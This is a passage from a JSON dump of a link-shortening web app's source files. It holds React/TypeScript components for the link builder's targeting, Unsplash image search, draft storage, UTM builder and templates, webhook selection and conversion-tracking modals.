label = useMemo(\n    () => getTargetingLabel({ ios, android, geo }),\n    [ios, android, geo],\n  );\n\n  return (\n    <Button\n      variant=\"secondary\"\n      text={label}\n      icon={\n        <Crosshairs3 className={cn(\"size-4\", enabled && \"text-blue-500\")} />\n      }\n      className=\"h-8 w-fit gap-1.5 px-2.5 text-xs font-medium text-neutral-700\"\n      onClick={() => setShowTargetingModal(true)}\n    />\n  );\n}\n\nexport function useTargetingModal() {\n  const [showTargetingModal, setShowTargetingModal] = useState(false);\n\n  const TargetingModalCallback = useCallback(() => {\n    return (\n      <TargetingModal\n        showTargetingModal={showTargetingModal}\n        setShowTargetingModal={setShowTargetingModal}\n      />\n    );\n  }, [showTargetingModal, setShowTargetingModal]);\n\n  const TargetingButtonCallback = useCallback(() => {\n    return <TargetingButton setShowTargetingModal={setShowTargetingModal} />;\n  }, [setShowTargetingModal]);\n\n  return useMemo(\n    () => ({\n      setShowTargetingModal,\n      TargetingModal: TargetingModalCallback,\n      TargetingButton: TargetingButtonCallback,\n    }),\n    [setShowTargetingModal, TargetingModalCallback, TargetingButtonCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/link-builder/unsplash-search.tsx",
    "content": "import { LoadingSpinner, useMediaQuery } from \"@dub/ui\";\nimport { fetcher } from \"@dub/utils\";\nimport { Dispatch, SetStateAction, useState } from \"react\";\nimport { toast } from \"sonner\";\nimport useSWR from \"swr\";\nimport { Basic } from \"unsplash-js/dist/methods/photos/types\";\nimport { useDebounce } from \"use-debounce\";\n\nexport default function UnsplashSearch({\n  onImageSelected,\n  setOpenPopover,\n}: {\n  onImageSelected: (image: string) => void;\n  setOpenPopover: Dispatch<SetStateAction<boolean>>;\n}) {\n  const [search, setSearch] = useState(\"\");\n  const [debouncedQuery] = useDebounce(search, 500);\n  const { data } = useSWR<Basic[]>(\n    `/api/unsplash/search?query=${\n      debouncedQuery.length > 0 ? debouncedQuery : \"beautiful landscape photos\"\n    }`,\n    fetcher,\n    {\n      onError: (err) => {\n        toast.error(err.message);\n      },\n    },\n  );\n  const { isMobile } = useMediaQuery();\n\n  return (\n    <div\n      className=\"h-[24rem] w-full overflow-auto p-3 md:w-[24rem]\"\n      // Fixes a Webkit issue where elements outside of the visible area are still interactable\n      style={{ WebkitClipPath: \"inset(0 0 0 0)\" }}\n    >\n      <div className=\"relative mt-1 rounded-md shadow-sm\">\n        <input\n          type=\"text\"\n          name=\"search\"\n          id=\"search\"\n          placeholder=\"Search for an image...\"\n          autoFocus={!isMobile}\n          autoComplete=\"off\"\n          value={search}\n          onChange={(e) => setSearch(e.target.value)}\n          className=\"block w-full rounded-md border-neutral-300 py-1 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n        />\n      </div>\n      {data ? (\n        data.length > 0 ? (\n          <div className=\"mt-3 grid grid-cols-2 gap-3\">\n            {data.map((photo) => (\n              <button\n                key={photo.id}\n                type=\"button\"\n                onClick={() => {\n                  onImageSelected(photo.urls.regular);\n                  setOpenPopover(false);\n                  fetch(\"/api/unsplash/download\", {\n                    method: \"POST\",\n                    headers: {\n                      \"Content-Type\": \"application/json\",\n                    },\n                    body: JSON.stringify({\n                      url: photo.links.download_location,\n                    }),\n                  });\n                }}\n                className=\"relative flex h-24 w-full items-center justify-center overflow-hidden rounded-md bg-neutral-100 transition-all hover:brightness-75\"\n              >\n                <img\n                  src={photo.urls.small}\n                  alt={photo.alt_description || \"Unsplash image\"}\n                  className=\"absolute h-full w-full object-cover\"\n                />\n                <p className=\"absolute bottom-0 left-0 right-0 line-clamp-1 w-full bg-black bg-opacity-10 p-1 text-xs text-white\">\n                  by{\" \"}\n                  <a\n                    className=\"underline underline-offset-2\"\n                    target=\"_blank\"\n                    rel=\"noopener noreferrer\"\n                    href={`${photo.user.links.html}?utm_source=dub.co&utm_medium=referral`}\n                  >\n                    {photo.user.name}\n                  </a>\n                </p>\n              </button>\n            ))}\n          </div>\n        ) : (\n          <div className=\"flex h-[90%] items-center justify-center\">\n            <p className=\"text-center text-sm text-neutral-500\">\n              No results found. <br /> Maybe try tweaking your search query?\n            </p>\n          </div>\n        )\n      ) : (\n        <div className=\"flex h-[90%] items-center justify-center\">\n          <LoadingSpinner />\n        </div>\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/link-builder/use-link-drafts.ts",
    "content": "import { LinkFormData } from \"@/ui/links/link-builder/link-builder-provider\";\nimport { useLocalStorage } from \"@dub/ui\";\nimport { subDays } from \"date-fns\";\nimport { useCallback, useLayoutEffect, useMemo } from \"react\";\n\nexport type LinkDraft = {\n  timestamp: number;\n  id: string;\n  link: Partial<LinkFormData>;\n};\n\nexport function useLinkDrafts({\n  linkId,\n  workspaceId,\n}: {\n  linkId?: string;\n  workspaceId: string;\n}) {\n  const [drafts, setDrafts] = useLocalStorage<LinkDraft[]>(\n    `link-drafts:${workspaceId}`,\n    [],\n  );\n\n  // Removes drafts older than 1 week, limiting to 10 drafts\n  const removeOldDrafts = useCallback(() => {\n    setDrafts(\n      drafts\n        .filter((draft) => draft.timestamp > subDays(new Date(), 7).getTime())\n        .sort((a, b) => b.timestamp - a.timestamp)\n        .slice(0, 10),\n    );\n  }, [drafts]);\n\n  // Initialize / clean up drafts\n  useLayoutEffect(() => {\n    if (!Array.isArray(drafts)) setDrafts([]);\n    else removeOldDrafts();\n  }, []);\n\n  const saveDraft = (id: string, link: Partial<LinkFormData>) => {\n    setDrafts([\n      ...drafts.filter((d) => d.id !== id),\n      { id, link, timestamp: new Date().getTime() },\n    ]);\n  };\n\n  const removeDraft = (id: string) => {\n    setDrafts(drafts.filter((draft) => draft.id !== id));\n  };\n\n  const filteredDrafts = useMemo(\n    () =>\n      linkId\n        ? drafts.filter((draft) => draft.link.id === linkId)\n        : drafts.filter((draft) => !draft.link.id),\n    [drafts, linkId],\n  );\n\n  return { drafts: filteredDrafts, saveDraft, removeDraft };\n}\n"
  },
  {
    "path": "apps/web/ui/modals/link-builder/utm-modal.tsx",
    "content": "import { LinkFormData } from \"@/ui/links/link-builder/link-builder-provider\";\nimport { useLinkBuilderKeyboardShortcut } from \"@/ui/links/link-builder/use-link-builder-keyboard-shortcut\";\nimport {\n  Button,\n  DiamondTurnRight,\n  InfoTooltip,\n  Modal,\n  Tooltip,\n  UTM_PARAMETERS,\n  UTMBuilder,\n} from \"@dub/ui\";\nimport {\n  cn,\n  constructURLFromUTMParams,\n  getParamsFromURL,\n  isValidUrl,\n} from \"@dub/utils\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useMemo,\n  useState,\n} from \"react\";\nimport { FormProvider, useForm, useFormContext } from \"react-hook-form\";\nimport { UTMTemplatesCombo } from \"./utm-templates-combo\";\n\ntype UTMModalProps = {\n  showUTMModal: boolean;\n  setShowUTMModal: Dispatch<SetStateAction<boolean>>;\n};\n\nfunction UTMModal(props: UTMModalProps) {\n  return (\n    <Modal\n      showModal={props.showUTMModal}\n      setShowModal={props.setShowUTMModal}\n      className=\"px-5 py-4 sm:max-w-md\"\n    >\n      <UTMModalInner {...props} />\n    </Modal>\n  );\n}\n\nfunction UTMModalInner({ setShowUTMModal }: UTMModalProps) {\n  const { getValues: getValuesParent, setValue: setValueParent } =\n    useFormContext<LinkFormData>();\n\n  const form = useForm<\n    Pick<\n      LinkFormData,\n      | \"url\"\n      | \"utm_source\"\n      | \"utm_medium\"\n      | \"utm_campaign\"\n      | \"utm_term\"\n      | \"utm_content\"\n    >\n  >({\n    values: {\n      url: getValuesParent(\"url\"),\n      utm_source: getValuesParent(\"utm_source\"),\n      utm_medium: getValuesParent(\"utm_medium\"),\n      utm_campaign: getValuesParent(\"utm_campaign\"),\n      utm_term: getValuesParent(\"utm_term\"),\n      utm_content: getValuesParent(\"utm_content\"),\n    },\n  });\n\n  const {\n    watch,\n    setValue,\n    reset,\n    formState: { isDirty },\n    handleSubmit,\n  } = form;\n\n  const url = watch(\"url\");\n  const enabledParams = useMemo(() => getParamsFromURL(url), [url]);\n\n  // Update targeting URL params if they previously matched the same params of the destination URL\n  const updateTargeting = useCallback(\n    (\n      data: Pick<\n        LinkFormData,\n        | \"url\"\n        | \"utm_source\"\n        | \"utm_medium\"\n        | \"utm_campaign\"\n        | \"utm_term\"\n        | \"utm_content\"\n      >,\n    ) => {\n      const [parentUrl, ios, android, geo] = getValuesParent([\n        \"url\",\n        \"ios\",\n        \"android\",\n        \"geo\",\n      ]);\n\n      const getNewParams = (targetURL: string) => {\n        const parentParams = getParamsFromURL(parentUrl);\n        const targetParams = getParamsFromURL(targetURL);\n\n        const newParams = UTM_PARAMETERS.filter(\n          ({ key }) => parentParams?.[key] === targetParams?.[key],\n        ).map(({ key }) => [key, data[key] ?? \"\"]);\n\n        return newParams.length ? Object.fromEntries(newParams) : null;\n      };\n\n      // Update iOS and Android URLs\n      Object.entries({ ios, android }).forEach(([target, targetUrl]) => {\n        if (!targetUrl) return;\n        const newParams = getNewParams(targetUrl);\n        if (newParams)\n          setValueParent(\n            target as \"ios\" | \"android\",\n            constructURLFromUTMParams(targetUrl, newParams),\n            {\n              shouldDirty: true,\n            },\n          );\n      });\n\n      // Update geo targeting URLs\n      if (geo && Object.keys(geo).length > 0) {\n        const newGeo = Object.entries(geo).reduce((acc, [key, value]) => {\n          if (!key?.trim() || !value?.trim()) return acc;\n\n          const newParams = getNewParams(value);\n          if (!newParams) return acc;\n\n          return {\n            ...acc,\n            [key]: constructURLFromUTMParams(value, newParams),\n          };\n        }, {});\n\n        if (Object.keys(newGeo).length > 0)\n          setValueParent(\n            \"geo\",\n            { ...(geo as Record<string, string>), ...newGeo },\n            { shouldDirty: true },\n          );\n      }\n    },\n    [],\n  );\n\n  return (\n    <form\n      onSubmit={(e) => {\n        e.stopPropagation();\n        handleSubmit((data) => {\n          updateTargeting(data);\n\n          setValueParent(\"url\", data.url);\n          UTM_PARAMETERS.filter((p) => p.key !== \"ref\").forEach((p) =>\n            setValueParent(p.key as any, data[p.key], {\n              shouldDirty: true,\n            }),\n          );\n\n          setShowUTMModal(false);\n        })(e);\n      }}\n    >\n      <div className=\"flex items-center justify-between\">\n        <div className=\"flex items-center gap-2\">\n          <h3 className=\"text-lg font-medium\">UTM Builder</h3>\n          <InfoTooltip\n            content={\n              \"Add UTM parameters to your short links for conversion tracking. [Learn more.](https://dub.co/help/article/utm-builder)\"\n            }\n          />\n        </div>\n        <div className=\"max-md:hidden\">\n          <Tooltip\n            content={\n              <div className=\"px-2 py-1 text-xs text-neutral-700\">\n                Press{\" \"}\n                <strong className=\"font-medium text-neutral-950\">U</strong> to\n                open this quickly\n              </div>\n            }\n            side=\"right\"\n          >\n            <kbd className=\"flex size-6 cursor-default items-center justify-center rounded-md border border-neutral-200 font-sans text-xs text-neutral-950\">\n              U\n            </kbd>\n          </Tooltip>\n        </div>\n      </div>\n\n      <div className=\"py-4\">\n        <UTMBuilder\n          values={enabledParams}\n          onChange={(key, value) => {\n            if (key !== \"ref\") setValue(key, value, { shouldDirty: true });\n\n            setValue(\n              \"url\",\n              constructURLFromUTMParams(url, {\n                ...enabledParams,\n                [key]: value,\n              }),\n              { shouldDirty: true },\n            );\n          }}\n          disabledTooltip={\n            isValidUrl(url)\n              ? undefined\n              : \"Enter a destination URL to add UTM parameters\"\n          }\n          autoFocus\n        />\n      </div>\n\n      {isValidUrl(url) && (\n        <div className=\"mt-4 grid gap-y-1\">\n          <span className=\"block text-sm font-medium text-neutral-700\">\n            URL Preview\n          </span>\n          <div className=\"scrollbar-hide mt-2 overflow-scroll break-words rounded-lg border border-neutral-200 bg-neutral-50 px-2.5 py-2 font-mono text-xs text-neutral-500\">\n            {url}\n          </div>\n        </div>\n      )}\n\n      <div className=\"mt-6 flex items-center justify-between gap-2\">\n        <div>\n          <FormProvider {...form}>\n            <UTMTemplatesCombo\n              onLoad={(params) => {\n                setValue(\"url\", constructURLFromUTMParams(url, params), {\n                  shouldDirty: true,\n                });\n              }}\n              disabledTooltip={\n                isValidUrl(url)\n                  ? undefined\n                  : \"Enter a destination URL to use UTM templates\"\n              }\n            />\n          </FormProvider>\n        </div>\n        <div className=\"flex items-center gap-2\">\n          <Button\n            type=\"button\"\n            variant=\"secondary\"\n            text=\"Cancel\"\n            className=\"h-9 w-fit\"\n            onClick={() => {\n              reset();\n              setShowUTMModal(false);\n            }}\n          />\n          <Button\n            type=\"submit\"\n            variant=\"primary\"\n            text=\"Save\"\n            className=\"h-9 w-fit\"\n            disabled={!isDirty}\n          />\n        </div>\n      </div>\n    </form>\n  );\n}\n\nfunction UTMButton({\n  setShowUTMModal,\n}: {\n  setShowUTMModal: Dispatch<SetStateAction<boolean>>;\n}) {\n  const { watch } = useFormContext<LinkFormData>();\n  const url = watch(\"url\");\n  const enabled = useMemo(\n    () =>\n      Object.keys(getParamsFromURL(url)).some(\n        (k) => UTM_PARAMETERS.findIndex((p) => p.key === k) !== -1,\n      ),\n    [url],\n  );\n\n  useLinkBuilderKeyboardShortcut(\"u\", () => setShowUTMModal(true));\n\n  return (\n    <Button\n      variant=\"secondary\"\n      text=\"UTM\"\n      icon={\n        <DiamondTurnRight\n          className={cn(\"size-4\", enabled && \"text-blue-500\")}\n        />\n      }\n      className=\"h-8 w-fit gap-1.5 px-2.5 text-xs font-medium text-neutral-700\"\n      onClick={() => setShowUTMModal(true)}\n    />\n  );\n}\n\nexport function useUTMModal() {\n  const [showUTMModal, setShowUTMModal] = useState(false);\n\n  const UTMModalCallback = useCallback(() => {\n    return (\n      <UTMModal showUTMModal={showUTMModal} setShowUTMModal={setShowUTMModal} />\n    );\n  }, [showUTMModal, setShowUTMModal]);\n\n  const UTMButtonCallback = useCallback(() => {\n    return <UTMButton setShowUTMModal={setShowUTMModal} />;\n  }, [setShowUTMModal]);\n\n  return useMemo(\n    () => ({\n      setShowUTMModal,\n      UTMModal: UTMModalCallback,\n      UTMButton: UTMButtonCallback,\n    }),\n    [setShowUTMModal, UTMModalCallback, UTMButtonCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/link-builder/utm-templates-combo.tsx",
    "content": "\"use client\";\n\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { UtmTemplateProps } from \"@/lib/types\";\nimport {\n  Button,\n  Combobox,\n  DiamondTurnRight,\n  Tooltip,\n  UTM_PARAMETERS,\n} from \"@dub/ui\";\nimport { fetcher, getParamsFromURL } from \"@dub/utils\";\nimport { useRouter } from \"next/navigation\";\nimport { Fragment } from \"react\";\nimport { useFormContext } from \"react-hook-form\";\nimport { toast } from \"sonner\";\nimport useSWR, { mutate } from \"swr\";\n\nexport function UTMTemplatesCombo({\n  onLoad,\n  disabledTooltip,\n}: {\n  onLoad: (params: Record<string, string>) => void;\n  disabledTooltip?: string;\n}) {\n  const { id: workspaceId } = useWorkspace();\n\n  const { setValue, getValues } = useFormContext();\n\n  const { data } = useSWR<UtmTemplateProps[]>(\n    workspaceId && `/api/utm?workspaceId=${workspaceId}`,\n    fetcher,\n    {\n      dedupingInterval: 60000,\n    },\n  );\n\n  return (\n    <Combobox\n      selected={null}\n      setSelected={(option) => {\n        if (!option) return;\n        const template = data?.find((template) => template.id === option.value);\n        if (!template) return;\n\n        const paramEntries = Object.entries(template)\n          .filter(([key]) => key === \"ref\" || key.startsWith(\"utm_\"))\n          .map(([key, value]) => [key, (value || \"\").toString()]);\n\n        paramEntries.forEach(([key, value]) =>\n          setValue(key, value, { shouldDirty: true }),\n        );\n\n        onLoad(Object.fromEntries(paramEntries));\n      }}\n      options={data?.map((template) => ({\n        label: template.name,\n        value: template.id,\n      }))}\n      optionRight={({ value }) => {\n        const template = data?.find((template) => template.id === value);\n        if (!template) return null;\n\n        const includedParams = UTM_PARAMETERS.filter(\n          ({ key }) => template[key],\n        );\n\n        return (\n          <Tooltip\n            content={\n              <div className=\"grid max-w-[225px] grid-cols-[1fr,minmax(0,min-content)] gap-x-2 gap-y-1 whitespace-nowrap p-2 text-sm sm:min-w-[150px]\">\n                {includedParams.map(({ key, label, icon: Icon }) => (\n                  <Fragment key={key}>\n                    <span className=\"font-medium text-neutral-600\">\n                      {label}\n                    </span>\n                    <span className=\"truncate text-neutral-500\">\n                      {template[key]}\n                    </span>\n                  </Fragment>\n                ))}\n              </div>\n            }\n          >\n            <div className=\"ml-4 flex shrink-0 items-center gap-1 text-neutral-500\">\n              {includedParams.map(({ icon: Icon }) => (\n                <Icon className=\"size-3.5\" />\n              ))}\n            </div>\n          </Tooltip>\n        );\n      }}\n      placeholder=\"Templates\"\n      searchPlaceholder=\"Load or save a template...\"\n      emptyState={<NoUTMTemplatesFound />}\n      icon={DiamondTurnRight}\n      createLabel={(search) => `Save new template: \"${search}\"`}\n      onCreate={async (search) => {\n        try {\n          const res = await fetch(`/api/utm?workspaceId=${workspaceId}`, {\n            method: \"POST\",\n            body: JSON.stringify({\n              name: search,\n              ...getParamsFromURL(getValues(\"url\")),\n            }),\n          });\n          if (!res.ok) {\n            const { error } = await res.json();\n            toast.error(error.message);\n            return false;\n          }\n\n          mutate(`/api/utm?workspaceId=${workspaceId}`);\n          toast.success(\"Template saved successfully\");\n          return true;\n        } catch (e) {\n          console.error(e);\n          toast.error(\"Failed to save UTM template\");\n        }\n\n        return false;\n      }}\n      buttonProps={{ className: \"w-fit px-2\", disabledTooltip }}\n      inputClassName=\"md:min-w-[200px]\"\n      optionClassName=\"md:min-w-[250px] md:max-w-[350px]\"\n      caret\n    />\n  );\n}\n\nconst NoUTMTemplatesFound = () => {\n  const router = useRouter();\n  const { slug } = useWorkspace();\n\n  return (\n    <div className=\"flex h-full flex-col items-center justify-center gap-2 px-2 py-4 text-center text-sm\">\n      <div className=\"flex items-center justify-center rounded-2xl border border-neutral-200 bg-neutral-50 p-3\">\n        <DiamondTurnRight className=\"size-6 text-neutral-700\" />\n      </div>\n      <p className=\"mt-2 font-medium text-neutral-950\">\n        No UTM templates found\n      </p>\n      <p className=\"mx-auto mt-1 w-full max-w-[180px] text-neutral-700\">\n        Add a UTM template to easily create links with the same UTM parameters.\n      </p>\n      <div>\n        <Button\n          className=\"mt-1 h-8\"\n          onClick={() => window.open(`/${slug}/settings/library/utm`, \"_blank\")}\n          text=\"Add UTM template\"\n        />\n      </div>\n    </div>\n  );\n};\n"
  },
  {
    "path": "apps/web/ui/modals/link-builder/webhooks-modal.tsx",
    "content": "import useWebhooks from \"@/lib/swr/use-webhooks\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { LinkFormData } from \"@/ui/links/link-builder/link-builder-provider\";\nimport { useLinkBuilderKeyboardShortcut } from \"@/ui/links/link-builder/use-link-builder-keyboard-shortcut\";\nimport { Button, Combobox, Modal, Tooltip, Webhook } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { ChevronsUpDown } from \"lucide-react\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useMemo,\n  useState,\n} from \"react\";\nimport { useForm, useFormContext } from \"react-hook-form\";\n\nfunction WebhooksModal({\n  showWebhooksModal,\n  setShowWebhooksModal,\n}: {\n  showWebhooksModal: boolean;\n  setShowWebhooksModal: Dispatch<SetStateAction<boolean>>;\n}) {\n  return (\n    <Modal\n      showModal={showWebhooksModal}\n      setShowModal={setShowWebhooksModal}\n      className=\"sm:max-w-md\"\n    >\n      <WebhooksModalInner setShowWebhooksModal={setShowWebhooksModal} />\n    </Modal>\n  );\n}\n\nfunction WebhooksModalInner({\n  setShowWebhooksModal,\n}: {\n  setShowWebhooksModal: Dispatch<SetStateAction<boolean>>;\n}) {\n  const {\n    watch: watchParent,\n    getValues: getValuesParent,\n    setValue: setValueParent,\n  } = useFormContext<LinkFormData>();\n\n  const {\n    watch,\n    setValue,\n    reset,\n    formState: { isDirty },\n    handleSubmit,\n  } = useForm<Pick<LinkFormData, \"webhookIds\">>({\n    values: {\n      webhookIds: getValuesParent(\"webhookIds\"),\n    },\n  });\n\n  const parentWebhookIds = watchParent(\"webhookIds\");\n  const webhookIds = watch(\"webhookIds\");\n\n  return (\n    <form\n      className=\"px-5 py-4\"\n      onSubmit={(e) => {\n        e.stopPropagation();\n        handleSubmit((data) => {\n          setValueParent(\"webhookIds\", data.webhookIds, { shouldDirty: true });\n          setShowWebhooksModal(false);\n        })(e);\n      }}\n    >\n      <div className=\"flex items-center justify-between\">\n        <div className=\"flex items-center gap-2\">\n          <h3 className=\"text-lg font-medium\">Link Webhooks</h3>\n        </div>\n        <div className=\"max-md:hidden\">\n          <Tooltip\n            content={\n              <div className=\"px-2 py-1 text-xs text-neutral-700\">\n                Press{\" \"}\n                <strong className=\"font-medium text-neutral-950\">W</strong> to\n                open this quickly\n              </div>\n            }\n            side=\"right\"\n          >\n            <kbd className=\"flex size-6 cursor-default items-center justify-center rounded-md border border-neutral-200 font-sans text-xs text-neutral-950\">\n              W\n            </kbd>\n          </Tooltip>\n        </div>\n      </div>\n\n      <div className=\"mt-6\">\n        <span className=\"mb-1 block text-sm font-normal text-neutral-500\">\n          Webhooks\n        </span>\n        <WebhookSelect\n          webhookIds={webhookIds as string[]}\n          onChange={(webhookIds) =>\n            setValue(\"webhookIds\", webhookIds, { shouldDirty: true })\n          }\n        />\n      </div>\n\n      <div className=\"mt-6 flex items-center justify-between\">\n        <div>\n          {Boolean(parentWebhookIds?.length) && (\n            <button\n              type=\"button\"\n              className=\"text-xs font-medium text-neutral-700 transition-colors hover:text-neutral-950\"\n              onClick={() => {\n                setValueParent(\"webhookIds\", [], { shouldDirty: true });\n                setShowWebhooksModal(false);\n              }}\n            >\n              Remove webhooks\n            </button>\n          )}\n        </div>\n        <div className=\"flex items-center gap-2\">\n          <Button\n            type=\"button\"\n            variant=\"secondary\"\n            text=\"Cancel\"\n            className=\"h-9 w-fit\"\n            onClick={() => {\n              reset();\n              setShowWebhooksModal(false);\n            }}\n          />\n          <Button\n            type=\"submit\"\n            variant=\"primary\"\n            text=\"Save webhooks\"\n            className=\"h-9 w-fit\"\n            disabled={!isDirty}\n          />\n        </div>\n      </div>\n    </form>\n  );\n}\n\nexport function useWebhooksModal() {\n  const [showWebhooksModal, setShowWebhooksModal] = useState(false);\n\n  const WebhooksModalCallback = useCallback(() => {\n    return (\n      <WebhooksModal\n        showWebhooksModal={showWebhooksModal}\n        setShowWebhooksModal={setShowWebhooksModal}\n      />\n    );\n  }, [showWebhooksModal, setShowWebhooksModal]);\n\n  return useMemo(\n    () => ({\n      setShowWebhooksModal,\n      WebhooksModal: WebhooksModalCallback,\n    }),\n    [setShowWebhooksModal, WebhooksModalCallback],\n  );\n}\n\nexport function WebhookSelect({\n  webhookIds,\n  onChange,\n}: {\n  webhookIds: string[];\n  onChange: (webhookIds: string[]) => void;\n}) {\n  const [isOpen, setIsOpen] = useState(false);\n  const { webhooks: availableWebhooks } = useWebhooks();\n\n  useLinkBuilderKeyboardShortcut(\"w\", () => setIsOpen(true));\n\n  const options = useMemo(\n    () =>\n      availableWebhooks?.map((webhook) => ({\n        label: webhook.name,\n        value: webhook.id,\n        icon: <Webhook className=\"size-3.5\" />,\n      })),\n    [availableWebhooks],\n  );\n\n  const selectedWebhooks = useMemo(\n    () =>\n      webhookIds\n        .map((id) => options?.find(({ value }) => value === id)!)\n        .filter(Boolean),\n\n    [webhookIds, options],\n  );\n\n  const hasSelectedWebhooks = selectedWebhooks.length > 0;\n\n  return (\n    <Combobox\n      multiple\n      selected={selectedWebhooks || []}\n      setSelected={(webhooks) => {\n        const selectedIds = webhooks.map(({ value }) => value);\n        onChange(selectedIds);\n      }}\n      options={options}\n      icon={\n        <Webhook\n          className={cn(\n            \"size-3.5 flex-none\",\n            hasSelectedWebhooks && \"text-blue-500\",\n          )}\n        />\n      }\n      placeholder=\"Webhooks\"\n      searchPlaceholder=\"Search webhooks...\"\n      buttonProps={{\n        className:\n          \"h-10 px-2.5 w-full bg-white font-normal border-neutral-200 bg-white\",\n      }}\n      matchTriggerWidth\n      caret={\n        <ChevronsUpDown className=\"ml-2 size-4 shrink-0 text-neutral-400\" />\n      }\n      open={isOpen}\n      onOpenChange={setIsOpen}\n      emptyState={<NoWebhooksFound />}\n    >\n      {selectedWebhooks.length > 0\n        ? selectedWebhooks.length === 1\n          ? selectedWebhooks[0].label\n          : `${selectedWebhooks.length} Webhooks`\n        : \"Webhooks\"}\n    </Combobox>\n  );\n}\n\nconst NoWebhooksFound = () => {\n  const { slug } = useWorkspace();\n\n  return (\n    <div className=\"flex h-full flex-col items-center justify-center gap-2 px-2 py-4 text-center text-sm\">\n      <div className=\"flex items-center justify-center rounded-2xl border border-neutral-200 bg-neutral-50 p-3\">\n        <Webhook className=\"size-6 text-neutral-700\" />\n      </div>\n      <p className=\"mt-2 font-medium text-neutral-950\">No webhooks found</p>\n      <p className=\"mx-auto mt-1 w-full max-w-[180px] text-neutral-700\">\n        Add a webhook to receive a click event when someone clicks your link.\n      </p>\n      <div>\n        <Button\n          className=\"mt-1 h-8\"\n          onClick={() => window.open(`/${slug}/settings/webhooks`, \"_blank\")}\n          text=\"Add webhook\"\n        />\n      </div>\n    </div>\n  );\n};\n"
  },
  {
    "path": "apps/web/ui/modals/link-conversion-tracking-modal.tsx",
    "content": "import { mutatePrefix } from \"@/lib/swr/mutate\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { LinkProps } from \"@/lib/types\";\nimport { Button, CircleCheckFill, LinkLogo, Modal } from \"@dub/ui\";\nimport { cn, getApexDomain, getPrettyUrl, pluralize } from \"@dub/utils\";\nimport {\n  Dispatch,\n  MouseEvent,\n  SetStateAction,\n  useCallback,\n  useMemo,\n  useState,\n} from \"react\";\nimport { toast } from \"sonner\";\n\ninterface LinkConversionTrackingModalProps {\n  showLinkConversionTrackingModal: boolean;\n  setShowLinkConversionTrackingModal: Dispatch<SetStateAction<boolean>>;\n  links: LinkProps[];\n}\n\nfunction LinkConversionTrackingModal(props: LinkConversionTrackingModalProps) {\n  return (\n    <Modal\n      showModal={props.showLinkConversionTrackingModal}\n      setShowModal={props.setShowLinkConversionTrackingModal}\n    >\n      <LinkConversionTrackingModalInner {...props} />\n    </Modal>\n  );\n}\n\nfunction LinkConversionTrackingModalInner({\n  setShowLinkConversionTrackingModal,\n  links,\n}: LinkConversionTrackingModalProps) {\n  const { id: workspaceId } = useWorkspace();\n  const [updating, setUpdating] = useState(false);\n  const [enableTracking, setEnableTracking] = useState(true);\n\n  const handleSubmit = async (event: MouseEvent<HTMLButtonElement>) => {\n    event.preventDefault();\n    setUpdating(true);\n\n    const response = await fetch(`/api/links/bulk?workspaceId=${workspaceId}`, {\n      method: \"PATCH\",\n      headers: {\n        \"Content-Type\": \"application/json\",\n      },\n      body: JSON.stringify({\n        linkIds: links.map(({ id }) => id),\n        data: { trackConversion: enableTracking },\n      }),\n    });\n\n    if (!response.ok) {\n      const { error } = await response.json();\n      toast.error(error.message);\n      setUpdating(false);\n      return;\n    }\n\n    mutatePrefix(\"/api/links\");\n    setShowLinkConversionTrackingModal(false);\n    toast.success(\n      `Successfully ${\n        enableTracking ? \"enabled\" : \"disabled\"\n      } conversion tracking for ${pluralize(\"link\", links.length)}!`,\n    );\n    setUpdating(false);\n  };\n\n  // Number of links changed by adding conversion tracking\n  const addChangeCount = links.filter(\n    ({ trackConversion }) => !trackConversion,\n  ).length;\n\n  // Number of links changed by removing conversion tracking\n  const removeChangeCount = links.length - addChangeCount;\n\n  return (\n    <>\n      <div className=\"space-y-2 border-b border-neutral-200 p-4 sm:p-6\">\n        {links.length === 1 && (\n          <LinkLogo apexDomain={getApexDomain(links[0].url)} className=\"mb-4\" />\n        )}\n        <h3 className=\"truncate text-lg font-medium leading-none\">\n          Edit conversion tracking for{\" \"}\n          {links.length > 1\n            ? `${links.length} links`\n            : getPrettyUrl(links[0].shortLink)}\n        </h3>\n      </div>\n\n      <div className=\"bg-neutral-50 p-4 sm:p-6\">\n        <div className=\"flex flex-col gap-3\">\n          {[\n            {\n              value: \"true\",\n              label: \"Add conversion tracking\",\n              description: `${addChangeCount} ${pluralize(\n                \"link\",\n                addChangeCount,\n              )} will be changed`,\n            },\n            {\n              value: \"false\",\n              label: \"Remove conversion tracking\",\n              description: `${removeChangeCount} ${pluralize(\n                \"link\",\n                removeChangeCount,\n              )} will be changed`,\n            },\n          ].map((option) => {\n            const isSelected = enableTracking.toString() === option.value;\n\n            return (\n              <label\n                key={option.value}\n                className={cn(\n                  \"relative flex w-full cursor-pointer items-start gap-0.5 rounded-md border border-neutral-200 bg-white p-3 text-neutral-600 hover:bg-neutral-50\",\n                  \"transition-all duration-150\",\n                  isSelected &&\n                    \"border-black bg-neutral-50 text-neutral-900 ring-1 ring-black\",\n                )}\n              >\n                <input\n                  type=\"radio\"\n                  value={option.value}\n                  className=\"hidden\"\n                  checked={isSelected}\n                  onChange={(e) => {\n                    if (e.target.checked) {\n                      setEnableTracking(option.value === \"true\");\n                    }\n                  }}\n                />\n                <div className=\"flex grow flex-col text-sm\">\n                  <span className=\"font-medium\">{option.label}</span>\n                  <span>{option.description}</span>\n                </div>\n                <CircleCheckFill\n                  className={cn(\n                    \"-mr-px -mt-px flex size-4 scale-75 items-center justify-center rounded-full opacity-0 transition-[transform,opacity] duration-150\",\n                    isSelected && \"scale-100 opacity-100\",\n                  )}\n                />\n              </label>\n            );\n          })}\n        </div>\n      </div>\n\n      <div className=\"flex items-center justify-end gap-2 border-t border-neutral-200 bg-neutral-50 px-4 py-5 sm:px-6\">\n        <Button\n          onClick={() => setShowLinkConversionTrackingModal(false)}\n          variant=\"secondary\"\n          text=\"Cancel\"\n          className=\"h-8 w-fit px-3\"\n        />\n        <Button\n          onClick={handleSubmit}\n          